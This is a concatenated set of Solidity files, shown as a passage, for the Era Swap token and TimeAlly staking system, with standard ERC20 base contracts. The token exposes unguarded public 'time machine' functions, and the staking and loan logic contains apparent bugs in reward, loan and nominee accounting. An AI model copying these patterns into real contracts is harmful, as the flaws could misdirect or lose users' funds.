//uint256 stakingMonth = stakings[_userAddress][_stakingId].timestamp.sub(deployedTimestamp).div(earthSecondsInMonth);
return (
/// @dev _atMonth should be a month after which staking starts
stakings[_userAddress][_stakingId].stakingMonth + 1 <= _atMonth
/// @dev _atMonth should be a month before which staking ends
&& stakings[_userAddress][_stakingId].stakingMonth + stakingPlans[ stakings[_userAddress][_stakingId].stakingPlanId ].months >= _atMonth
/// @dev staking should have active status
&& stakings[_userAddress][_stakingId].status == 1
/// @dev if _atMonth is current Month, then withdrawal should be allowed only after 30 days interval since staking
&& (
getCurrentMonth() != _atMonth
|| now >= stakings[_userAddress][_stakingId].timestamp
.add(
getCurrentMonth()
.sub(stakings[_userAddress][_stakingId].stakingMonth)
.mul(earthSecondsInMonth)
)
)
);
}
/// @notice this function is used for seeing the benefits of a staking of any user
/// @param _userAddress - address of user
/// @param _stakingId - staking id
/// @param _months - array of months user is interested to see benefits.
/// @return amount of ExaES of benefits of entered months
function seeBenefitOfAStakingByMonths(
address _userAddress,
uint256 _stakingId,
uint256[] memory _months
) public view returns (uint256) {
uint256 benefitOfAllMonths;
for(uint256 i = 0; i < _months.length; i++) {
/// @dev this require statement is converted into if statement for easier UI fetching. If there is no benefit for a month or already claimed, it will consider benefit of that month as 0 ES. But same is not done for withdraw function.
// require(
// isStakingActive(_userAddress, _stakingId, _months[i])
// && !stakings[_userAddress][_stakingId].isMonthClaimed[_months[i]]
// // , 'staking must be active'
// );
if(isStakingActive(_userAddress, _stakingId, _months[i])
&& !stakings[_userAddress][_stakingId].isMonthClaimed[_months[i]]) {
uint256 benefit = stakings[_userAddress][_stakingId].exaEsAmount
.mul(timeAllyMonthlyNRT[ _months[i] ])
.div(totalActiveStakings[ _months[i] ]);
benefitOfAllMonths = benefitOfAllMonths.add(benefit);
}
}
return benefitOfAllMonths.mul(
stakingPlans[stakings[_userAddress][_stakingId].stakingPlanId].fractionFrom15
).div(15);
}
/// @notice this function is used for withdrawing the benefits of a staking of any user
/// @param _stakingId - staking id
/// @param _months - array of months user is interested to withdraw benefits of staking.
function withdrawBenefitOfAStakingByMonths(
uint256 _stakingId,
uint256[] memory _months
) public {
uint256 _benefitOfAllMonths;
for(uint256 i = 0; i < _months.length; i++) {
// require(
// isStakingActive(msg.sender, _stakingId, _months[i])
// && !stakings[msg.sender][_stakingId].isMonthClaimed[_months[i]]
// // , 'staking must be active'
// );
if(isStakingActive(msg.sender, _stakingId, _months[i])
&& !stakings[msg.sender][_stakingId].isMonthClaimed[_months[i]]) {
uint256 _benefit = stakings[msg.sender][_stakingId].exaEsAmount
.mul(timeAllyMonthlyNRT[ _months[i] ])
.div(totalActiveStakings[ _months[i] ]);
_benefitOfAllMonths = _benefitOfAllMonths.add(_benefit);
stakings[msg.sender][_stakingId].isMonthClaimed[_months[i]] = true;
}
}
uint256 _luckPool = _benefitOfAllMonths
.mul( uint256(15).sub(stakingPlans[stakings[msg.sender][_stakingId].stakingPlanId].fractionFrom15) )
.div( 15 );
require( token.transfer(address(nrtManager), _luckPool) );
require( nrtManager.UpdateLuckpool(_luckPool) );
_benefitOfAllMonths = _benefitOfAllMonths.sub(_luckPool);
uint256 _halfBenefit = _benefitOfAllMonths.div(2);
require( token.transfer(msg.sender, _halfBenefit) );
launchReward[msg.sender] = launchReward[msg.sender].add(_halfBenefit);
// emit event
emit BenefitWithdrawl(msg.sender, _stakingId, _months, _halfBenefit);
}
/// @notice this function is used to withdraw the principle amount of multiple stakings which have their tenure completed
/// @param _stakingIds - input which stakings to withdraw
function withdrawExpiredStakings(uint256[] memory _stakingIds) public {
for(uint256 i = 0; i < _stakingIds.length; i++) {
require(now >= stakings[msg.sender][_stakingIds[i]].timestamp
.add(stakingPlans[ stakings[msg.sender][_stakingIds[i]].stakingPlanId ].months.mul(earthSecondsInMonth))
// , 'cannot withdraw before staking ends'
);
stakings[msg.sender][_stakingIds[i]].status = 3;
token.transfer(msg.sender, stakings[msg.sender][_stakingIds[i]].exaEsAmount);
emit PrincipalWithdrawl(msg.sender, _stakingIds[i]);
}
}
/// @notice this function is used to estimate the maximum amount of loan that any user can take with their stakings
/// @param _userAddress - address of user
/// @param _stakingIds - array of staking ids which should be used to estimate max loan amount
/// @param _loanPlanId - the loan plan user wishes to take loan.
/// @return max loaning amount
function seeMaxLoaningAmountOnUserStakings(address _userAddress, uint256[] memory _stakingIds, uint256 _loanPlanId) public view returns (uint256) {
uint256 _currentMonth = getCurrentMonth();
//require(_currentMonth >= _atMonth, 'cannot see future stakings');
uint256 userStakingsExaEsAmount;
for(uint256 i = 0; i < _stakingIds.length; i++) {
if(isStakingActive(_userAddress, _stakingIds[i], _currentMonth)
&& (
// @dev if urgent loan is not allowed then loan can be taken only after staking period is completed 75%
stakingPlans[ stakings[_userAddress][_stakingIds[i]].stakingPlanId ].isUrgentLoanAllowed
|| now > stakings[_userAddress][_stakingIds[i]].timestamp + stakingPlans[ stakings[_userAddress][_stakingIds[i]].stakingPlanId ].months.mul(earthSecondsInMonth).mul(75).div(100)
)
) {
userStakingsExaEsAmount = userStakingsExaEsAmount
.add(stakings[_userAddress][_stakingIds[i]].exaEsAmount
.mul(loanPlans[_loanPlanId].maxLoanAmountPercent)
.div(100)
// .mul(stakingPlans[ stakings[_userAddress][_stakingIds[i]].stakingPlanId ].fractionFrom15)
// .div(15)
);
}
}
return userStakingsExaEsAmount;
//.mul( uint256(100).sub(loanPlans[_loanPlanId].loanRate) ).div(100);
}
/// @notice this function is used to take loan on multiple stakings
/// @param _loanPlanId - user can select this plan which defines loan duration and loan interest
/// @param _exaEsAmount - loan amount, this will also be the loan repay amount, the interest will first be deducted from this and then amount will be credited
/// @param _stakingIds - staking ids user wishes to encash for taking the loan
function takeLoanOnSelfStaking(uint256 _loanPlanId, uint256 _exaEsAmount, uint256[] memory _stakingIds) public {
// @dev when loan is to be taken, first calculate active stakings from given stakings array. this way we can get how much loan user can take and simultaneously mark stakings as claimed for next months number loan period
uint256 _currentMonth = getCurrentMonth();
uint256 _userStakingsExaEsAmount;
for(uint256 i = 0; i < _stakingIds.length; i++) {
if( isStakingActive(msg.sender, _stakingIds[i], _currentMonth)
&& (
// @dev if urgent loan is not allowed then loan can be taken only after staking period is completed 75%
stakingPlans[ stakings[msg.sender][_stakingIds[i]].stakingPlanId ].isUrgentLoanAllowed
|| now > stakings[msg.sender][_stakingIds[i]].timestamp + stakingPlans[ stakings[msg.sender][_stakingIds[i]].stakingPlanId ].months.mul(earthSecondsInMonth).mul(75).div(100)
)
) {
// @dev store sum in a number
_userStakingsExaEsAmount = _userStakingsExaEsAmount
.add(
stakings[msg.sender][ _stakingIds[i] ].exaEsAmount
.mul(loanPlans[_loanPlanId].maxLoanAmountPercent)
.div(100)
);
// @dev subtract total active stakings
uint256 stakingStartMonth = stakings[msg.sender][_stakingIds[i]].stakingMonth;
uint256 stakeEndMonth = stakingStartMonth + stakingPlans[stakings[msg.sender][_stakingIds[i]].stakingPlanId].months;
for(uint256 j = _currentMonth + 1; j <= stakeEndMonth; j++) {
totalActiveStakings[j] = totalActiveStakings[j].sub(_userStakingsExaEsAmount);
}
// @dev make stakings inactive
for(uint256 j = 1; j <= loanPlans[_loanPlanId].loanMonths; j++) {
stakings[msg.sender][ _stakingIds[i] ].isMonthClaimed[ _currentMonth + j ] = true;
stakings[msg.sender][ _stakingIds[i] ].status = 2; // means in loan
}
}
}
uint256 _maxLoaningAmount = _userStakingsExaEsAmount;
if(_exaEsAmount > _maxLoaningAmount) {
require(false
// , 'cannot loan more than maxLoaningAmount'
);
}
uint256 _loanInterest = _exaEsAmount.mul(loanPlans[_loanPlanId].loanRate).div(100);
uint256 _loanAmountToTransfer = _exaEsAmount.sub(_loanInterest);
require( token.transfer(address(nrtManager), _loanInterest) );
require( nrtManager.UpdateLuckpool(_loanInterest) );
loans[msg.sender].push(Loan({
exaEsAmount: _exaEsAmount,
timestamp: now,
loanPlanId: _loanPlanId,
status: 1,
stakingIds: _stakingIds
}));
// @dev send user amount
require( token.transfer(msg.sender, _loanAmountToTransfer) );
emit NewLoan(msg.sender, _loanPlanId, _exaEsAmount, _loanInterest, loans[msg.sender].length - 1);
}
/// @notice repay loan functionality
/// @dev need to give allowance before this
/// @param _loanId - select loan to repay
function repayLoanSelf(uint256 _loanId) public {
require(loans[msg.sender][_loanId].status == 1
// , 'can only repay pending loans'
);
require(loans[msg.sender][_loanId].timestamp + loanPlans[ loans[msg.sender][_loanId].loanPlanId ].loanMonths.mul(earthSecondsInMonth) > now
// , 'cannot repay expired loan'
);
require(token.transferFrom(msg.sender, address(this), loans[msg.sender][_loanId].exaEsAmount)
// , 'cannot receive enough tokens, please check if allowance is there'
);
loans[msg.sender][_loanId].status = 2;
// @dev get all stakings associated with this loan. and set next unclaimed months. then set status to 1 and also add to totalActiveStakings
for(uint256 i = 0; i < loans[msg.sender][_loanId].stakingIds.length; i++) {
uint256 _stakingId = loans[msg.sender][_loanId].stakingIds[i];
stakings[msg.sender][_stakingId].status = 1;
uint256 stakingStartMonth = stakings[msg.sender][_stakingId].timestamp.sub(deployedTimestamp).div(earthSecondsInMonth);
uint256 stakeEndMonth = stakingStartMonth + stakingPlans[stakings[msg.sender][_stakingId].stakingPlanId].months;
for(uint256 j = getCurrentMonth() + 1; j <= stakeEndMonth; j++) {
stakings[msg.sender][_stakingId].isMonthClaimed[i] = false;
totalActiveStakings[j] = totalActiveStakings[j].add(stakings[msg.sender][_stakingId].exaEsAmount);
}
}
// add repay event
emit RepayLoan(msg.sender, _loanId);
}
function burnDefaultedLoans(address[] memory _addressArray, uint256[] memory _loanIdArray) public {
uint256 _amountToBurn;
for(uint256 i = 0; i < _addressArray.length; i++) {
require(
loans[ _addressArray[i] ][ _loanIdArray[i] ].status == 1
// , 'loan should not be repayed'
);
require(
now >
loans[ _addressArray[i] ][ _loanIdArray[i] ].timestamp
+ loanPlans[ loans[ _addressArray[i] ][ _loanIdArray[i] ].loanPlanId ].loanMonths.mul(earthSecondsInMonth)
// , 'loan should have crossed its loan period'
);
uint256[] storage _stakingIdsOfLoan = loans[ _addressArray[i] ][ _loanIdArray[i] ].stakingIds;
/// @dev add staking amounts of all stakings on which loan is taken
for(uint256 j = 0; j < _stakingIdsOfLoan.length; j++) {
_amountToBurn = _amountToBurn.add(
stakings[ _addressArray[i] ][ _stakingIdsOfLoan[j] ].exaEsAmount
);
}
/// @dev sub loan amount
_amountToBurn = _amountToBurn.sub(
loans[ _addressArray[i] ][ _loanIdArray[i] ].exaEsAmount
);
}
require(token.transfer(address(nrtManager), _amountToBurn));
require(nrtManager.UpdateBurnBal(_amountToBurn));
// emit event
}
/// @notice this function is used to add nominee to a staking
/// @param _stakingId - staking id
/// @param _nomineeAddress - address of nominee to be added to staking
/// @param _shares - amount of shares of the staking to the nominee
/// @dev shares is compared with total shares issued in a staking to see the percent nominee can withdraw. Nominee can withdraw only after one year past the end of tenure of staking. Upto 1 year past the end of tenure of staking, owner can withdraw principle amount of staking as well as can CRUD nominees. Owner of staking is has this time to withdraw their staking, if they fail to do so, after that nominees are allowed to withdraw. Withdrawl by first nominee will trigger staking into nomination mode and owner of staking cannot withdraw the principle amount as it will be distributed with only nominees and only they can withdraw it.
function addNominee(uint256 _stakingId, address _nomineeAddress, uint256 _shares) public {
require(stakings[msg.sender][_stakingId].status == 1
// , 'staking should active'
);
require(stakings[msg.sender][_stakingId].nomination[_nomineeAddress] == 0
// , 'should not be nominee already'
);
stakings[msg.sender][_stakingId].totalNominationShares = stakings[msg.sender][_stakingId].totalNominationShares.add(_shares);
stakings[msg.sender][_stakingId].nomination[_nomineeAddress] = _shares;
emit NomineeNew(msg.sender, _stakingId, _nomineeAddress);
}
/// @notice this function is used to read the nomination of a nominee address of a staking of a user
/// @param _userAddress - address of staking owner
/// @param _stakingId - staking id
/// @param _nomineeAddress - address of nominee
/// @return nomination of the nominee
function viewNomination(address _userAddress, uint256 _stakingId, address _nomineeAddress) public view returns (uint256) {
return stakings[_userAddress][_stakingId].nomination[_nomineeAddress];
}
// /// @notice this function is used to update nomination of a nominee of sender's staking
// /// @param _stakingId - staking id
// /// @param _nomineeAddress - address of nominee
// /// @param _shares - shares to be updated for the nominee
// function updateNominee(uint256 _stakingId, address _nomineeAddress, uint256 _shares) public {
// require(stakings[msg.sender][_stakingId].status == 1
// // , 'staking should active'
// );
// uint256 _oldShares = stakings[msg.sender][_stakingId].nomination[_nomineeAddress];
// if(_shares > _oldShares) {
// uint256 _diff = _shares.sub(_oldShares);
// stakings[msg.sender][_stakingId].totalNominationShares = stakings[msg.sender][_stakingId].totalNominationShares.add(_diff);
// stakings[msg.sender][_stakingId].nomination[_nomineeAddress] = stakings[msg.sender][_stakingId].nomination[_nomineeAddress].add(_diff);
// } else if(_shares < _oldShares) {
// uint256 _diff = _oldShares.sub(_shares);
// stakings[msg.sender][_stakingId].nomination[_nomineeAddress] = stakings[msg.sender][_stakingId].nomination[_nomineeAddress].sub(_diff);
// stakings[msg.sender][_stakingId].totalNominationShares = stakings[msg.sender][_stakingId].totalNominationShares.sub(_diff);
// }
// }
/// @notice this function is used to remove nomination of a address
/// @param _stakingId - staking id
/// @param _nomineeAddress - address of nominee
function removeNominee(uint256 _stakingId, address _nomineeAddress) public {
require(stakings[msg.sender][_stakingId].status == 1, 'staking should active');
uint256 _oldShares = stakings[msg.sender][_stakingId].nomination[msg.sender];
stakings[msg.sender][_stakingId].nomination[_nomineeAddress] = 0;
stakings[msg.sender][_stakingId].totalNominationShares = stakings[msg.sender][_stakingId].totalNominationShares.sub(_oldShares);
}
/// @notice this function is used by nominee to withdraw their share of a staking after 1 year of the end of tenure of staking
/// @param _userAddress - address of user
/// @param _stakingId - staking id
function nomineeWithdraw(address _userAddress, uint256 _stakingId) public {
// end time stamp > 0
uint256 currentTime = now;
require( currentTime > (stakings[_userAddress][_stakingId].timestamp
+ stakingPlans[stakings[_userAddress][_stakingId].stakingPlanId].months * earthSecondsInMonth
+ 12 * earthSecondsInMonth )
// , 'cannot nominee withdraw before '
);
uint256 _nomineeShares = stakings[_userAddress][_stakingId].nomination[msg.sender];
require(_nomineeShares > 0
// , 'Not a nominee of this staking'
);
//uint256 _totalShares = ;
// set staking to nomination mode if it isn't.
if(stakings[_userAddress][_stakingId].status != 5) {
stakings[_userAddress][_stakingId].status = 5;
}
// adding principal account
uint256 _pendingLiquidAmountInStaking = stakings[_userAddress][_stakingId].exaEsAmount;
uint256 _pendingAccruedAmountInStaking;
// uint256 _stakingStartMonth = stakings[_userAddress][_stakingId].timestamp.sub(deployedTimestamp).div(earthSecondsInMonth);
uint256 _stakeEndMonth = stakings[_userAddress][_stakingId].stakingMonth + stakingPlans[stakings[_userAddress][_stakingId].stakingPlanId].months;
// adding monthly benefits which are not claimed
for(
uint256 i = stakings[_userAddress][_stakingId].stakingMonth; //_stakingStartMonth;
i < _stakeEndMonth;
i++
) {
if( stakings[_userAddress][_stakingId].isMonthClaimed[i] ) {
uint256 _effectiveAmount = stakings[_userAddress][_stakingId].exaEsAmount
.mul(stakingPlans[stakings[_userAddress][_stakingId].stakingPlanId].fractionFrom15)
.div(15);
uint256 _monthlyBenefit = _effectiveAmount
.mul(timeAllyMonthlyNRT[i])
.div(totalActiveStakings[i]);
_pendingLiquidAmountInStaking = _pendingLiquidAmountInStaking.add(_monthlyBenefit.div(2));
_pendingAccruedAmountInStaking = _pendingAccruedAmountInStaking.add(_monthlyBenefit.div(2));
}
}
// now we have _pendingLiquidAmountInStaking && _pendingAccruedAmountInStaking
// on which user's share will be calculated and sent
// marking nominee as claimed by removing his shares
stakings[_userAddress][_stakingId].nomination[msg.sender] = 0;
uint256 _nomineeLiquidShare = _pendingLiquidAmountInStaking
.mul(_nomineeShares)
.div(stakings[_userAddress][_stakingId].totalNominationShares);
token.transfer(msg.sender, _nomineeLiquidShare);
uint256 _nomineeAccruedShare = _pendingAccruedAmountInStaking
.mul(_nomineeShares)
.div(stakings[_userAddress][_stakingId].totalNominationShares);
launchReward[msg.sender] = launchReward[msg.sender].add(_nomineeAccruedShare);
// emit a event
emit NomineeWithdraw(_userAddress, _stakingId, msg.sender, _nomineeLiquidShare, _nomineeAccruedShare);
}
}
pragma solidity ^0.5.2;
import "./ERC20Capped.sol";
import "./ERC20Burnable.sol";
import "./ERC20Detailed.sol";
import "./ERC20Pausable.sol";
contract Eraswap is ERC20Detailed,ERC20Burnable,ERC20Capped,ERC20Pausable {
event NRTManagerAdded(address NRTManager);
constructor()
public
ERC20Detailed ("Era Swap", "ES", 18) ERC20Capped(9100000000000000000000000000) {
mint(msg.sender, 910000000000000000000000000);
}
int256 public timeMachineDepth;
// gives the time machine time
function mou() public view returns(uint256) {
if(timeMachineDepth < 0) {
return now - uint256(timeMachineDepth);
} else {
return now + uint256(timeMachineDepth);
}
}
// sets the time machine depth
function setTimeMachineDepth(int256 _timeMachineDepth) public {
timeMachineDepth = _timeMachineDepth;
}
function goToFuture(uint256 _seconds) public {
timeMachineDepth += int256(_seconds);
}
function goToPast(uint256 _seconds) public {
timeMachineDepth -= int256(_seconds);
}
/**
* @dev Function to add NRT Manager to have minting rights
* It will transfer the minting rights to NRTManager and revokes it from existing minter
* @param NRTManager Address of NRT Manager C ontract
*/
function AddNRTManager(address NRTManager) public onlyMinter returns (bool) {
addMinter(NRTManager);
addPauser(NRTManager);
renounceMinter();
renouncePauser();
emit NRTManagerAdded(NRTManager);
return true;
}
}
pragma solidity ^0.5.2;
import "./IERC20.sol";
import "./SafeMath.sol";
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
import "./ERC20.sol";
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The account whose tokens will be burned.
* @param value uint256 The amount of token to be burned.
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.2;
import "./ERC20Mintable.sol";
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0);
_cap = cap;
}
/**
* @return the cap for the token minting.
*/
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
pragma solidity ^0.5.2;
import "./IERC20.sol";
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.2;
import "./ERC20.sol";
import "./MinterRole.sol";
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
pragma solidity ^0.5.2;
import "./ERC20.sol";
import "./Pausable.sol";
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
*/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
pragma solidity ^0.5.2;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.2;
import "./Roles.sol";
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
pragma solidity ^0.5.2;
import "./Eraswap.sol";
import "./TimeAlly.sol";
contract NRTManager {
using SafeMath for uint256;
uint256 public lastNRTRelease; // variable to store last release date
uint256 public monthlyNRTAmount; // variable to store Monthly NRT amount to be released
uint256 public annualNRTAmount; // variable to store Annual NRT amount to be released
uint256 public monthCount; // variable to store the count of months from the intial date
uint256 public luckPoolBal; // Luckpool Balance
uint256 public burnTokenBal; // tokens to be burned
Eraswap token;
address Owner;
//Eraswap public eraswapToken;
// different pool address
address public newTalentsAndPartnerships = 0xb4024468D052B36b6904a47541dDE69E44594607;
address public platformMaintenance = 0x922a2d6B0B2A24779B0623452AdB28233B456D9c;
address public marketingAndRNR = 0xDFBC0aE48f3DAb5b0A1B154849Ee963430AA0c3E;
address public kmPards = 0x4881964ac9AD9480585425716A8708f0EE66DA88;
address public contingencyFunds = 0xF4E731a107D7FFb2785f696543dE8BF6EB558167;
address public researchAndDevelopment = 0xb209B4cec04cE9C0E1Fa741dE0a8566bf70aDbe9;
address public powerToken = 0xbc24BfAC401860ce536aeF9dE10EF0104b09f657;
address public timeSwappers = 0x4b65109E11CF0Ff8fA58A7122a5E84e397C6Ceb8; // which include powerToken , curators ,timeTraders , daySwappers
address public timeAlly; //address of timeAlly Contract
uint256 public newTalentsAndPartnershipsBal; // variable to store last NRT released to the address;
uint256 public platformMaintenanceBal; // variable to store last NRT released to the address;
uint256 public marketingAndRNRBal; // variable to store last NRT released to the address;
uint256 public kmPardsBal; // variable to store last NRT released to the address;
uint256 public contingencyFundsBal; // variable to store last NRT released to the address;
uint256 public researchAndDevelopmentBal; // variable to store last NRT released to the address;
uint256 public powerTokenNRT; // variable to store last NRT released to the address;
uint256 public timeAllyNRT; // variable to store last NRT released to the address;
uint256 public timeSwappersNRT; // variable to store last NRT released to the address;
// Event to watch NRT distribution
// @param NRTReleased The amount of NRT released in the month
event NRTDistributed(uint256 NRTReleased);
/**
* Event to watch Transfer of NRT to different Pool
* @param pool - The pool name
* @param sendAddress - The address of pool
* @param value - The value of NRT released
**/
event NRTTransfer(string pool, address sendAddress, uint256 value);
// Event to watch Tokens Burned
// @param amount The amount burned
event TokensBurned(uint256 amount);
/**
* Event to watch the addition of pool address
* @param pool - The pool name
* @param sendAddress - The address of pool
**/
event PoolAddressAdded(string pool, address sendAddress);
// Event to watch LuckPool Updation
// @param luckPoolBal The current luckPoolBal
event LuckPoolUpdated(uint256 luckPoolBal);
// Event to watch BurnTokenBal Updation
// @param burnTokenBal The current burnTokenBal
event BurnTokenBalUpdated(uint256 burnTokenBal);
/**
* @dev Throws if caller is not timeAlly
*/
modifier OnlyAllowed() {
require(msg.sender == timeAlly || msg.sender == timeSwappers,"Only TimeAlly and Timeswapper is authorised");
_;
}
/**
* @dev Throws if caller is not owner
*/
modifier OnlyOwner() {
require(msg.sender == Owner,"Only Owner is authorised");
_;
}
/**
* @dev Should burn tokens according to the total circulation
* @return true if success
*/
function burnTokens() internal returns (bool){
if(burnTokenBal == 0){
return true;
}
else{
uint MaxAmount = ((token.totalSupply()).mul(2)).div(100); // max amount permitted to burn in a month
if(MaxAmount >= burnTokenBal ){
token.burn(burnTokenBal);
burnTokenBal = 0;
}
else{
burnTokenBal = burnTokenBal.sub(MaxAmount);
token.burn(MaxAmount);
}
return true;
}
}
/**
* @dev To update pool addresses
* @param pool - A List of pool addresses
* Updates if pool address is not already set and if given address is not zero
* @return true if success
*/
function UpdateAddresses (address[9] calldata pool) external OnlyOwner returns(bool){
if((pool[0] != address(0)) && (newTalentsAndPartnerships == address(0))){
newTalentsAndPartnerships = pool[0];
